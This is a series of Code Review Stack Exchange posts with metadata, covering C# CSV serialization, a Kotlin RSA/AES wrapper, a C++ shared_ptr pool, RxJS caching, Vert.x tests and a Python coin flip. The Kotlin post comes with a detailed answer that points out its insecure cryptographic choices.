{
await streamWriter.WriteLineAsync("[");
await input.Detailed().ForEachAsync(async item =>
{
await streamWriter.WriteLineAsync(" " + item.Value.ToJson() + (!item.IsLast ? string.Empty : ","));
}
);
await streamWriter.WriteLineAsync("]");
}
}
}
public class MyXmlAsyncEnumerableToStreamSerializer : IAsyncConverterIn<IAsyncEnumerable<Result>, Stream>
{
public async Task ConvertAsync(IAsyncEnumerable<Result> input, Stream output)
{
using (var streamWriter = output.AsStreamWriter())
{
await streamWriter.WriteLineAsync("<Array>");
await input.ForEachAsync(async item =>
{
await streamWriter.WriteLineAsync(" " + item.ToXml());
}
);
await streamWriter.WriteLineAsync("</Array>");
}
}
}
public class CsvRecord
{
[Name("columnA")]
public string A { get; set; }
[Name("columnB")]
public string B { get; set; }
[Name("columnC")]
public int C { get; set; }
[Name("columnD")]
public int D { get; set; }
}
public abstract class Result
{
public long LineNumber { get; set; }
public abstract string Type { get; }
}
public class OkResult : Result
{
public override string Type { get; } = "ok";
public string ConcatAB { get; set; }
public int SumCD { get; set; }
}
public class ErrorResult : Result
{
public override string Type { get; } = "error";
public string ErrorMessage { get; set; }
}
</code></pre>
<p>The extension Methods for <code>Stream</code>s, <code>CsvReader</code>,<code>IAsyncEnumerable<T></code> and <code>IAsyncStreamFilter</code>:</p>
<pre><code>public static class StreamExtensions
{
public static StreamReader AsStreamReader(this Stream stream) =>
new StreamReader(stream);
public static StreamWriter AsStreamWriter(this Stream stream) =>
new StreamWriter(stream);
public static CsvReader AsCsvReader(this Stream stream) =>
stream.AsStreamReader().AsCsvReader();
}
public static class StreamReaderExtensions
{
public static CsvReader AsCsvReader(this StreamReader streamReader) =>
new CsvReader(streamReader);
}
public static class CsvReaderExtensions
{
public static async Task<bool> ReadAndValidateHeaderAsync<TRecord>(this CsvReader csvReader, bool detectColumnCountChanges = false)
{
csvReader.Configuration.DetectColumnCountChanges = detectColumnCountChanges;
var hasReadHeader = await csvReader.ReadAsync() && !csvReader.ReadHeader();
csvReader.ValidateHeader<TRecord>();
return hasReadHeader;
}
public static IAsyncEnumerable<TRecord> EnumerateRecordsAsync<TRecord>(this CsvReader csvReader, bool mustHaveHeader = true) =>
return new AsyncEnumerable<TRecord>(async yield =>
{
if (mustHaveHeader)
{
await csvReader.ReadAndValidateHeaderAsync<TRecord>();
}
while (await csvReader.ReadAsync())
{
await yield.ReturnAsync(csvReader.GetRecord<TRecord>());
}
});
public static IAsyncEnumerable<TryResult<TRecord>> EnumerateTryRecordsAsync<TRecord>(this CsvReader csvReader, bool mustHaveHeader = true) =>
return new AsyncEnumerable<TryResult<TRecord>>(async yield =>
{
if (mustHaveHeader)
{
await csvReader.ReadAndValidateHeaderAsync<TRecord>();
}
csvReader.ValidateHeader<TRecord>();
while (await csvReader.ReadAsync())
{
Try<TRecord> tryRecord = () => csvReader.GetRecord<TRecord>();
await yield.ReturnAsync(tryRecord.Try());
}
});
}
public static class AsyncEnumerableExtensions
{
public static IAsyncEnumerable<Iteration<TSource>> Detailed<TSource>(this IAsyncEnumerable<TSource> source) =>
new AsyncEnumerable<Iteration<TSource>>(async yield =>
{
using (var enumerator = await source.GetAsyncEnumeratorAsync())
{
var isFirst = true;
var hasNext = await enumerator.MoveNextAsync();
var index = 0L;
while (hasNext)
{
var current = enumerator.Current;
hasNext = await enumerator.MoveNextAsync();
await yield.ReturnAsync(new Iteration<TSource>(index, current, isFirst, !hasNext));
isFirst = false;
index++;
}
}
});
}
public readonly struct Iteration<T>
{
public readonly long Index;
public readonly bool IsFirst;
public readonly bool IsLast;
public readonly T Value;
public Iteration(long index, T value, bool isFirst, bool isLast)
{
Index = index;
IsFirst = isFirst;
IsLast = isLast;
Value = value;
}
}
public static class AsyncStreamFilterExtensions
{
public static async Task FilterAsyncFromPathAsync(this IAsyncStreamFilter asyncStreamFilter, string path, Stream output)
{
var input = File.OpenRead(path);
await asyncStreamFilter.FilterAsync(input, output);
}
public static async Task FilterAsyncFromUriAsync(this IAsyncStreamFilter asyncStreamFilter, string uri, Stream output)
{
var input = await new HttpClient().GetStreamAsync(uri);
await asyncStreamFilter.FilterAsync(input, output);
}
}
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T02:56:59.270",
"Id": "420613",
"Score": "0",
"body": "Try? TryResult?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T09:47:05.670",
"Id": "420644",
"Score": "0",
"body": "@Nkosi I am gonna update the post, but `Try` and `TryResult` come from https://github.com/louthy/csharp-monad"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:05:06.710",
"Id": "420918",
"Score": "1",
"body": "You should never arbitrarily create new instances of `HttpClient`, otherwise you will run into issues. It is specifically designed to be reusable/thread-safe."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-16T13:37:11.753",
"Id": "420924",
"Score": "0",
"body": "@BradM fair enough, https://docs.microsoft.com/en-us/dotnet/standard/microservices-architecture/implement-resilient-applications/use-httpclientfactory-to-implement-resilient-http-requests"
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T15:01:02.997",
"Id": "217400",
"Score": "2",
"Tags": [
"c#",
"validation",
"serialization",
"stream",
"asp.net-core"
],
"Title": "WebAPI: Async Filtering CSV content + Json/XML Serialization"
} | 217400 |
<p>I've written up a small wrapper for RSA and AES encryption in Kotlin, and I want to make sure I'm not making any glaring mistakes before use it. This is going on a small project with basically no needed security, but I wanted to try and write it correctly.</p>
<p>Here's my <code>Person</code> class:</p>
<pre><code>class Person private constructor(val name :String,
private val keyPair: KeyPair) {
val publicKey : PublicKey
get() = keyPair.public
private val privateKey : PrivateKey
get() = keyPair.private ?: error("Current Person implementation doesn't support functions that use the private key")
fun isValid() = fromPrivateKey(name,privateKey).publicKey == publicKey
override fun toString(): String {
return "Person(name=$name, finger=${fingerprint().substring(0,10)})"
}
fun sign(data :ByteArray): Signature {
sig.initSign(privateKey)
sig.update(data)
return Signature(sig.sign())
}
fun fingerprint():String = DigestUtils.sha1Hex(publicKey.encoded)
/** This needs to be below 245 bytes */
fun encrypt(data :ByteArray, publicKey: PublicKey): ByteArray {
val cipher = Cipher.getInstance("RSA")
cipher.init(Cipher.ENCRYPT_MODE, publicKey)
return cipher.doFinal(data)
}
/** This needs to be below 245 bytes */
fun encrypt(data :ByteArray, person :Person):ByteArray = encrypt(data,person.publicKey)
/** This needs to be below 245 bytes */
fun decrypt(encrypted: ByteArray): ByteArray {
val cipher = Cipher.getInstance("RSA")
cipher.init(Cipher.DECRYPT_MODE, privateKey)
return cipher.doFinal(encrypted)
}
/** This will encrypt over 245 bytes */
fun encryptAES(data :ByteArray,person :Person):EncryptedData = encryptAES(data,person.publicKey)
/** This will encrypt over 245 bytes */
fun encryptAES(data :ByteArray, publicKey : PublicKey): EncryptedData {
val iv = ByteArray(16) { -1 }
SecureRandom.getInstanceStrong().nextBytes(iv)
val keyGen = KeyGenerator.getInstance("AES")
keyGen.init(128)
val secretKey = keyGen.generateKey()
val ivParameterSpec = IvParameterSpec(iv)
val aesCipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
aesCipher.init(Cipher.ENCRYPT_MODE, secretKey, ivParameterSpec)
val final = aesCipher.doFinal(data)
return EncryptedData(iv, encrypt(secretKey.encoded,publicKey), final)
//need to return encrypted secret key and the encrypted message
}
fun decryptAES(data : EncryptedData) :ByteArray{
val iv = data.iv
val ivParameterSpec = IvParameterSpec(iv)
val decryptedSecretKey = decrypt(data.encryptedSecretKey)
val secretKey = SecretKeySpec(decryptedSecretKey, 0, decryptedSecretKey.size, "AES")
val aesCipher = Cipher.getInstance("AES/CBC/PKCS5Padding")
aesCipher.init(Cipher.DECRYPT_MODE, secretKey, ivParameterSpec)
return aesCipher.doFinal(data.encryptedData)
}
</code></pre>
<p>And then I use the Companion object to make new instances of this class:</p>
<pre><code>companion object {
private val sig = java.security.Signature.getInstance("SHA1WithRSA")
fun verify(publicKey: PublicKey, signature: Signature, data: ByteArray): Boolean {
sig.initVerify(publicKey)
sig.update(data)
return sig.verify(signature.byteArray)
}
//buildKeyPair(DigestUtils.sha1(name)!!.contentHashCode().toLong())
private fun buildKeyPair(seed :Long): KeyPair {
val random = SecureRandom.getInstance("SHA1PRNG")
random.setSeed(seed)
val keySize = 2048
val keyPairGenerator = KeyPairGenerator.getInstance("RSA")
keyPairGenerator.initialize(keySize,random)
return keyPairGenerator.genKeyPair()
}
private fun buildKeyPair():KeyPair {
val keySize = 2048
val keyPairGenerator = KeyPairGenerator.getInstance("RSA")
keyPairGenerator.initialize(keySize)
return keyPairGenerator.genKeyPair()
}
//generators
fun fromKeyPair(name :String, keyPair: KeyPair):Person = Person(name, keyPair)
fun fromPublicKey(name :String, publicKey: PublicKey):Person = Person(name,KeyPair(publicKey,null))
fun fromPrivateKey(name :String, privateKey: PrivateKey):Person {
//attempt to find the correct public key
if(privateKey !is RSAPrivateCrtKey)
error("Private key is not a RSAPrivateCrtKey and does not contain enough data to compute the public key")
val spec = RSAPublicKeySpec(privateKey.modulus,privateKey.publicExponent)
val factory = KeyFactory.getInstance("RSA")
val publicKey = factory.generatePublic(spec)
return Person(name, KeyPair(publicKey,privateKey))
}
fun deterministicFromName(name :String) :Person = Person(name,buildKeyPair(DigestUtils.sha1(name)!!.contentHashCode().toLong()))
fun generateNew(name :String) :Person = Person(name, buildKeyPair())
}
</code></pre>
<p>This also uses these classes:</p>
<pre><code>class Signature(val byteArray: ByteArray) {
override fun equals(other: Any?): Boolean {
if (this === other) return true
if (javaClass != other?.javaClass) return false
other as Signature
if (!byteArray.contentEquals(other.byteArray)) return false
return true
}
override fun hashCode(): Int {
return byteArray.contentHashCode()
}
}
</code></pre>
<p>and</p>
<pre><code>class EncryptedData(val iv :ByteArray, val encryptedSecretKey :ByteArray,val encryptedData :ByteArray)
</code></pre>
<p>I'm using RSA keys to encrypt a randomly generated AES key, which can be used to encrypt data that is larger than 245 bytes.</p>
<p>The idea is that I can pass public keys around but treat everything as a <code>Person</code>, and then throw an error if the private key is invalid. Is this a good design?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T05:59:04.923",
"Id": "420620",
"Score": "0",
"body": "The code formatting is inconsistent. You should let your IDE do the formatting for you, automatically whenevery you save the code."
}
] | [
{
"body": "<p>Most generic wrapper classes for crypto are used to <em>wrap</em> the knowledge of the user that wrote them, and this is no exception. Almost every line of cryptography in here is unfortunately below par. There is <em>no need</em> for the wrapper class <em>at all</em>, directly using the primitives is much better and will safe you from a maintainability nightmare.</p>\n\n<p>I spend ages getting rid of my badly written wrapper classes in Java when I started crypto, inspired by the other - C++ based - wrapper <em>trash</em> written by my colleagues. I have been at this exact cross road, and I chose wrong. <strong>Do not use this as generic class in your applications</strong> unless you want to perform weeks of refactoring in the future (and that's not counting stupid bug fixes before that). </p>\n\n<p><em>If</em> you do not listen to this advice, please at least include a version number with your resulting signatures and encryption methods so you are able to upgrade/replace with something secure later on.</p>\n\n<p>That all said, I do admire that you posted here and I do hope you keep your code here, if just to warn others. I hope you learn a lot. Use the knowledge you learn here to create classes for <em>specific use cases</em> instead.</p>\n\n<hr>\n\n<p>Here is a line-by-line review for your learning experience.</p>\n\n<pre><code>class Person private constructor(val name :String, private val keyPair: KeyPair) {\n</code></pre>\n\n<p>What does a person have to do with the private key? Is it the owner maybe? Why is it not an entity? Can't a server have a key pair?</p>\n\n<pre><code>get() = keyPair.private ?: error(\"Current Person implementation doesn't support functions that use the private key\")\n</code></pre>\n\n<p>How can you not have a private key in a key pair object? That doesn't make sense; just pass a public key in that case.</p>\n\n<pre><code>fun isValid() = fromPrivateKey(name,privateKey).publicKey == publicKey\n</code></pre>\n\n<p>I don't think it is all that funny if <code>isValid</code> is correct for some unexplained reason (or not).</p>\n\n<pre><code>return \"Person(name=$name, finger=${fingerprint().substring(0,10)})\"\n</code></pre>\n\n<p>Only later in the code it becomes clear that this is not a fingerprint of a person, but of the key. The 10 is a magic value, if you think that the fingerprint is smaller then you should let that be the result of the fingerprint calculation.</p>\n\n<pre><code>val aesCipher = Cipher.getInstance(\"AES/CBC/PKCS5Padding\")\n</code></pre>\n\n<p>Why not a modern mode such as GCM?</p>\n\n<pre><code>val final = aesCipher.doFinal(data)\n</code></pre>\n\n<p><code>final</code> is a terrible name for a variable, why not call it, say, <code>ciphertext</code>?</p>\n\n<pre><code>fun sign(data :ByteArray): Signature {\n sig.initSign(privateKey)\n</code></pre>\n\n<p><code>sig</code> comes falling out of the sky, and it is unclear what kind of algorithm is used.</p>\n\n<pre><code>/** This needs to be below 245 bytes */\n</code></pre>\n\n<p>Seems to me that this depends on the key size and algorithm, both of which are undefined within the method. Better provide a helper method to retrieve the maximum size instead (<code>Cipher</code> has a helper function - <code>getOutputSize</code> - for that already). I presume you are going to write more documentation than just repeating this statement? And is this actually true for the data delivered for decryption?</p>\n\n<pre><code>fun encrypt(data :ByteArray, publicKey: PublicKey): ByteArray {\n</code></pre>\n\n<p>Why not use <code>RSAPublicKey</code> here? That way you don't get surprise exceptions late on.</p>\n\n<pre><code>fun fingerprint():String = DigestUtils.sha1Hex(publicKey.encoded)\n</code></pre>\n\n<p>Probably better to calculate the fingerprint over the modulus, that way the public and private key share the same fingerprint.</p>\n\n<pre><code>val cipher = Cipher.getInstance(\"RSA\")\n</code></pre>\n\n<p>Never relies on defaults like that. This is <code>\"RSA/ECB/PKCS1Padding\"</code> for the default Sun provider, but it could be another algorithm for different providers. OAEP padding should be preferred.</p>\n\n<pre><code>fun encryptAES(data :ByteArray, publicKey : PublicKey): EncryptedData {\n</code></pre>\n\n<p>Encryption with AES that takes a public key. This is definitely <em>not</em> a good name for the function. Just <code>encrypt</code> or <code>hybridEncrypt</code> would be better. Why is the public key passed if it is part of the fields of the object?</p>\n\n<pre><code>/** This will encrypt over 245 bytes */\n</code></pre>\n\n<p>And we're going to know in advance which method is chosen by the user I suppose? Wouldn't it also encrypt plaintext below that size?</p>\n\n<pre><code>val iv = ByteArray(16) { -1 }\n</code></pre>\n\n<p>Minus one. Just because we ... can?</p>\n\n<pre><code>SecureRandom.getInstanceStrong().nextBytes(iv)\n</code></pre>\n\n<p>Ah we use a strong random for the IV, which just needs to be unpredictable. Why? <code>SecureRandom</code> is strong enough. Blocking RNG's are not fun in any application.</p>\n\n<pre><code>keyGen.init(128)\n</code></pre>\n\n<p>Not wrong, but note that you're using the default <code>SecureRandom</code> here, so the key is less strong than the IV. Not that you should change this line.</p>\n\n<pre><code>//need to return encrypted secret key and the encrypted message\n</code></pre>\n\n<p>\"returns\" not \"need to return\" and put the comment before the actual <code>return</code> statement.</p>\n\n<h2>On the companion object.</h2>\n\n<p>Why is there a companion object for signature generation, but not for encryption / decryption?</p>\n\n<pre><code> private val sig = java.security.Signature.getInstance(\"SHA1WithRSA\")\n</code></pre>\n\n<p>SHA1 is completely insecure for signature generation.</p>\n\n<pre><code> private fun buildKeyPair(seed :Long): KeyPair {\n</code></pre>\n\n<p>A long is 64 bits. It is becoming easy to try 2^64 values and simply regenerate the key pair. Or one of multiple key pairs if more are available. Why is a normal random not used?</p>\n\n<pre><code>val random = SecureRandom.getInstance(\"SHA1PRNG\")\n</code></pre>\n\n<p>SHA1PRNG is not well defined, so this may return any kind of RNG. It may not be the best one either.</p>\n\n<pre><code>random.setSeed(seed)\n</code></pre>\n\n<p>Oh, boy. This may either mix in the seed or make the SHA1PRNG act deterministically. The outcome depends on a lot of factors. Java platform and version just being two of them. Use this and you're already borked.</p>\n\n<pre><code>val keySize = 2048\n</code></pre>\n\n<p>A rather small undefined, unexplained default and magic number. See keylength.com.</p>\n\n<pre><code>return keyPairGenerator.genKeyPair()\n</code></pre>\n\n<p>I'm pretty sure that method has been deprecated eons ago.</p>\n\n<pre><code> val spec = RSAPublicKeySpec(privateKey.modulus,privateKey.publicExponent)\n</code></pre>\n\n<p>... but I'm not sure if the <code>publicExponent</code> is always available even for CRT private keys. Let's assume it is because it seems that way in the API (?).</p>\n\n<pre><code> fun deterministicFromName(name :String) :Person = Person(name,buildKeyPair(DigestUtils.sha1(name)!!.contentHashCode().toLong()))\n</code></pre>\n\n<p>The private key is determined by the name using a publicly known, unkeyed algorithm. Wow. Just wow. Um, I'm flabbergasted.</p>\n\n<p>RSA key pairs <em>must</em> be generated from random <em>unless</em> you can be 100% sure that the key pair generation (including prime number generation) <em>never changes</em>. For that, you'd need to include the entire RSA key pair generation <em>and random number generation</em> in your source code, or updates of the system may break your scheme. </p>\n\n<p>And you should of course feed it a secret value containing enough (~128 bits of) entropy rather than a public value.</p>\n\n<hr>\n\n<p>The signature and encryption classes are OK-ish, but remember: the idea of standardized signature and encryption algorithms is be able to communicate between runtimes. You'll have to think of some kind of serialization / protocol to do that.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-28T19:57:54.137",
"Id": "423650",
"Score": "0",
"body": "Thanks! I have some comments and small additional questions, but I was 300 characters over the comment limit :(\nHere is is:\nhttps://hastebin.com/ivawuzexos.txt"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-25T01:54:15.823",
"Id": "219060",
"ParentId": "217401",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "219060",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T15:09:40.870",
"Id": "217401",
"Score": "1",
"Tags": [
"security",
"cryptography",
"kotlin"
],
"Title": "RSA wrapper written in Kotlin"
} | 217401 |
<p>I put together this little memory pool class to help avoid the costs associated with heap allocation and deallocation of objects that are frequently created & destroyed. It creates C++ standard <code>shared_ptr</code>s with custom deleters that return the pointed-to object to the memory pool where it can be recycled. Right now it uses the <a href="https://github.com/cameron314/concurrentqueue" rel="nofollow noreferrer">moodycamel</a> queue to manage the pool, but it could be rewritten to use a simple vector or stack instead.</p>
<p>I'd appreciate any comments on design / implementation.</p>
<pre><code>#ifndef SHAREDPTRMEMORYPOOL_H
#define SHAREDPTRMEMORYPOOL_H
#include <memory>
#include <3rdParty/spsc_queue/readerwriterqueue.h>
// Objects to be managed must have a default constructor
// and a reconstruct(...) function which serves to initialize
// their state (like a constructor)
//
// Use like:
// auto obj = make_shared_ptr_from_pool(my_memory_pool, my_reconstruct_args, ...);
template<class TPointedToClass>
class SharedPtrMemoryPool {
public:
explicit SharedPtrMemoryPool(unsigned int num_to_prealloc);
~SharedPtrMemoryPool();
std::shared_ptr<TPointedToClass> get_shared_ptr();
void release_shared_ptr(TPointedToClass* to_release);
private:
moodycamel::ReaderWriterQueue<TPointedToClass*> _pointer_queue;
};
template<class TPointedToClass>
SharedPtrMemoryPool<TPointedToClass>::SharedPtrMemoryPool(unsigned int num_to_prealloc) {
for(unsigned int i = 0; i < num_to_prealloc; ++i) {
auto prealloc_item = new TPointedToClass();
_pointer_queue.enqueue(prealloc_item);
}
}
template<class TPointedToClass>
SharedPtrMemoryPool<TPointedToClass>::~SharedPtrMemoryPool() {
TPointedToClass* raw_ptr;
while(_pointer_queue.try_dequeue(raw_ptr)) {
delete raw_ptr;
}
}
template<class TPointedToClass>
std::shared_ptr<TPointedToClass> SharedPtrMemoryPool<TPointedToClass>::get_shared_ptr() {
TPointedToClass* raw_retval;
bool recycle_success = _pointer_queue.try_dequeue(raw_retval);
if(!recycle_success) {
raw_retval = new TPointedToClass();
}
return std::shared_ptr<TPointedToClass>(raw_retval, [this](TPointedToClass* to_release) {
this->release_shared_ptr(to_release);
});
}
template<class TPointedToClass>
void SharedPtrMemoryPool<TPointedToClass>::release_shared_ptr(TPointedToClass* to_release) {
_pointer_queue.enqueue(to_release);
}
template<class TPointedToClass, class... Args>
std::shared_ptr<TPointedToClass> make_shared_ptr_from_pool(SharedPtrMemoryPool<TPointedToClass>& pool, Args&&... args) {
std::shared_ptr<TPointedToClass> retval = pool.get_shared_ptr();
retval->reconstruct(std::forward<Args>(args)...);
return retval;
}
#endif
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T17:22:13.630",
"Id": "217405",
"Score": "4",
"Tags": [
"c++",
"c++11",
"memory-management",
"pointers"
],
"Title": "C++ shared_ptr memory pool"
} | 217405 |
<p>I am using RxJS to fetch a data structure from a server and cache it, but I also need to be able to overwrite the value locally (specifically, a user operation can change the server state, and the change takes effect locally without waiting for a round-trip communication)</p>
<p>Eventually I came up with this solution, where I am creating a pseudo-Subject object (<code>AjaxSubject</code>) which wraps a <code>ReplaySubject</code> with custom <code>subscribe</code> behaviour (specifically: loading the data from the server if no data exists locally yet).</p>
<p>I'm not particularly happy with it. Specifically I'm wondering if there is a better way to handle the use case of a <code>BehaviorSubject</code> with an asynchronous initial value (where as usual the request is not triggered until something subscribes).</p>
<p>I think the error handling also isn't great; I wrap data and errors in an object so that subscribers can get successful values after an initial failure (e.g. after a retry or setting it locally with <code>next</code>), but this seems clunky.</p>
<p>Can this be done using the RxJS standard operators? Or at least are there ways I can tidy it up?</p>
<pre><code>import { ReplaySubject, of } from 'rxjs';
import { map, catchError } from 'rxjs/operators';
import { ajax } from 'rxjs/ajax';
function makeHttpError({ status }) {
return (status >= 400) ? 'error ' + status : 'connection failed';
}
class AjaxSubject {
constructor(url) {
this.url = url;
this.subject = new ReplaySubject(1);
this.loaded = false;
}
next(data) {
this.subject.next({ data, error: null });
this.loaded = true;
}
subscribe(...args) {
if (!this.loaded) {
this.loaded = ajax(this.url)
.pipe(
map((data) => ({ data: data.response, error: null })),
catchError((data) => of({ data: null, error: makeHttpError(data) })),
)
.subscribe((state) => {
if (!state.error || this.loaded !== true) {
this.subject.next(state);
this.loaded = !state.error;
}
});
}
return this.subject.subscribe(...args);
}
}
</code></pre>
<hr>
<p>Update:</p>
<p>I found an alternative way to implement (almost) the same thing using RxJS builtins, but I don't know how I would (externally) trigger a retry with this one if loading from the server fails. I'm also not happy about the double-buffering (use of a <code>BehaviorSubject</code> <strong>and</strong> <code>shareReplay</code>).</p>
<pre><code>import { BehaviorSubject, of } from 'rxjs';
import { switchMap, shareReplay, map, catchError } from 'rxjs/operators';
import { ajax } from 'rxjs/ajax';
function makeHttpError({ status }) {
return (status >= 400) ? 'error ' + status : 'connection failed';
}
function load(url) {
return ajax(url).pipe(
map((data) => ({ data: data.response, error: null })),
catchError((data) => of({ data: null, error: makeHttpError(data) })),
);
}
function ajaxSubject(url) {
const subject = new BehaviorSubject(undefined);
const observable = subject.pipe(
switchMap((v) => ((v === undefined) ? load(url) : of(v))),
shareReplay(1),
);
return { subject, observable };
}
</code></pre>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T18:30:39.920",
"Id": "217406",
"Score": "1",
"Tags": [
"javascript",
"rxjs"
],
"Title": "RxJS BehaviorSubject with asynchronous initial value"
} | 217406 |
<p>I am using Vert.x. I've got a single <code>verticle</code> for my application that looks like this</p>
<pre><code>public class HttpServerVerticle extends AbstractVerticle {
private static final String HTTP_PORT_OPTION = "http.port";
@Override
public void start(Future<Void> startFuture) throws Exception {
ConfigStoreOptions resourceStore = new ConfigStoreOptions()
.setType("file")
.setConfig(new JsonObject().put("path", "conf/talepath-server.json"));
ConfigRetrieverOptions options = new ConfigRetrieverOptions()
.addStore(resourceStore);
ConfigRetriever retriever = ConfigRetriever.create(vertx, options);
retriever.getConfig(ar -> {
if (ar.failed()) {
startFuture.fail(new RuntimeException("Failed to retrieve configuration"));
} else {
Router router = Router.router(vertx);
router.route("/").handler(routingContext -> {
HttpServerResponse response = routingContext.response();
response
.putHeader("content-type", "text/html")
.end("<h1>Sample Vert.x 3 application</h1>");
});
router.route("/api/character").handler(routingContext -> {
HttpServerResponse response = routingContext.response();
response
.putHeader("content-type", "application/json; charset=utf-8")
.end(Json.encodePrettily(new PersonCharacter("p_id", "Jack", 20)));
});
JsonObject config = ar.result();
vertx.createHttpServer()
.requestHandler(router)
.listen(
config.getInteger(HTTP_PORT_OPTION),
result -> {
if (result.succeeded()) {
startFuture.complete();
} else {
startFuture.fail(result.cause());
}
});
}
});
}
}
</code></pre>
<p>And I have two integration tests. One for <code>REST</code> </p>
<pre><code>@ExtendWith(VertxExtension.class)
public class HttpServerRestVerticleIntegrationTest {
private static final String ID = "p_id";
private static final String NAME = "Jack";
private static final int AGE = 20;
private static final String HTTP_PORT_OPTION = "http.port";
@BeforeAll
static void configureRestAssured(Vertx vertx, VertxTestContext testContext) {
ConfigStoreOptions resourceStore = new ConfigStoreOptions()
.setType("file")
.setConfig(new JsonObject().put("path", "conf/talepath-server.json"));
ConfigRetrieverOptions options = new ConfigRetrieverOptions()
.addStore(resourceStore);
ConfigRetriever retriever = ConfigRetriever.create(vertx, options);
retriever.getConfig(ar -> {
if (ar.failed()) {
testContext.failNow(new RuntimeException("Failed to retrieve configuration"));
} else {
JsonObject config = ar.result();
RestAssured.baseURI = "http://localhost";
RestAssured.port = config.getInteger(HTTP_PORT_OPTION);
}
});
vertx.deployVerticle(new HttpServerVerticle(), testContext.completing());
}
@Test
@DisplayName("Test GET response")
void checkGetCharacter() {
PersonCharacter result = get("/api/character")
.thenReturn()
.as(PersonCharacter.class);
assertThat(result.getId()).isEqualTo(ID);
assertThat(result.getName()).isEqualTo(NAME);
assertThat(result.getAge()).isEqualTo(AGE);
}
@AfterAll
static void unconfigureRestAssured() {
RestAssured.reset();
}
}
</code></pre>
<p>And one for <code>http server</code></p>
<pre><code>@ExtendWith(VertxExtension.class)
public class HttpServerVerticleIntegrationTest {
private static final String HTTP_PORT_OPTION = "http.port";
@Test
public void startServerTest(Vertx vertx, VertxTestContext testContext) {
ConfigStoreOptions resourceStore = new ConfigStoreOptions()
.setType("file")
.setConfig(new JsonObject().put("path", "conf/talepath-server.json"));
ConfigRetrieverOptions options = new ConfigRetrieverOptions()
.addStore(resourceStore);
ConfigRetriever retriever = ConfigRetriever.create(vertx, options);
retriever.getConfig(ar -> {
if (ar.failed()) {
testContext.failNow(new RuntimeException("Failed to retrieve configuration"));
} else {
JsonObject config = ar.result();
DeploymentOptions deploymentOptions = new DeploymentOptions().setConfig(config);
vertx.deployVerticle(new HttpServerVerticle(), deploymentOptions, testContext.succeeding(id -> {
WebClient webClient = WebClient.create(vertx);
webClient.get(config.getInteger(HTTP_PORT_OPTION), "localhost", "/")
.as(BodyCodec.string())
.send(testContext.succeeding(response -> testContext.verify(() -> {
assertEquals(200, response.statusCode());
assertTrue(response.body().length() > 0);
assertTrue(response.body().contains("Sample Vert.x 3 application"));
testContext.completeNow();})));
}));
}
});
}
}
</code></pre>
<p>I rely on the properties stored in <code>src/main/resource/conf/talepath-server.json</code>.</p>
<p>I have two problems. </p>
<ul>
<li>I have to read properties in test and in the main application and the code for that is the same. Is there a way to it better that just introducing a method that would return <code>retriever</code> entity?</li>
<li>I want to split REST routing from http server verticle. I am new to Vert.x and I am not sure what is the best way to do that. Creating separate verticle and then deploy it?</li>
</ul>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T19:01:53.060",
"Id": "217408",
"Score": "1",
"Tags": [
"java"
],
"Title": "split verticle instantiation and configuration loading in vertx application"
} | 217408 |
<p>I know this is the simplest code that you have probably ever seen but its the first thing I've ever made. Any ideas on how to improve it or add new functions to it?</p>
<pre><code>from random import randint
coin = str(randint(0, 1))
if coin == "0":
print("Coin flipped! It's tails.")
elif coin == "1":
print("Coin flipped! It's heads.")
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T19:49:53.617",
"Id": "420592",
"Score": "8",
"body": "Please fix your indentation. One easy way to post code is to paste it into the question editor, highlight it, and press Ctrl-K to mark it as a code block."
}
] | [
{
"body": "<p>Assuming you've sorted out the indentation I would do a few things to the code as is:</p>\n\n<ul>\n<li>Separate the import from the rest of the code, grouping stuff that belongs together is super useful for readability when it comes to more complicated code.</li>\n<li>Think about whether you need to use <code>str</code>, does it add anything to the code? I'd avoid that and instead just use the int instead.</li>\n<li>Think about the variable name <code>coin</code>. I'd say that the result of the coin flip is not the coin itself so the name <code>coin</code> could be confusing if this was part of something bigger. I would use <code>coin_flip_result</code> or something similar.</li>\n</ul>\n\n<p>Some ideas for extending/changing the code:</p>\n\n<ul>\n<li>Use enums (see <a href=\"https://docs.python.org/3/library/enum.html\" rel=\"noreferrer\">https://docs.python.org/3/library/enum.html</a>) for the result of the coin flip (named e.g. <code>CoinSide</code>), which would allow you to completely skip the if statements and just have something like:</li>\n</ul>\n\n<pre><code>coin_flip_result = CoinSide(randint(0, 1))\nprint(\"Coin flipped! It's \" + coin_flip_result.name)\n</code></pre>\n\n<ul>\n<li>If you haven't already, try doing FizzBuzz (<a href=\"https://en.wikipedia.org/wiki/Fizz_buzz\" rel=\"noreferrer\">https://en.wikipedia.org/wiki/Fizz_buzz</a>)</li>\n</ul>\n\n<p>Congrats on writing your first bit of code!</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T22:08:14.540",
"Id": "217417",
"ParentId": "217409",
"Score": "5"
}
},
{
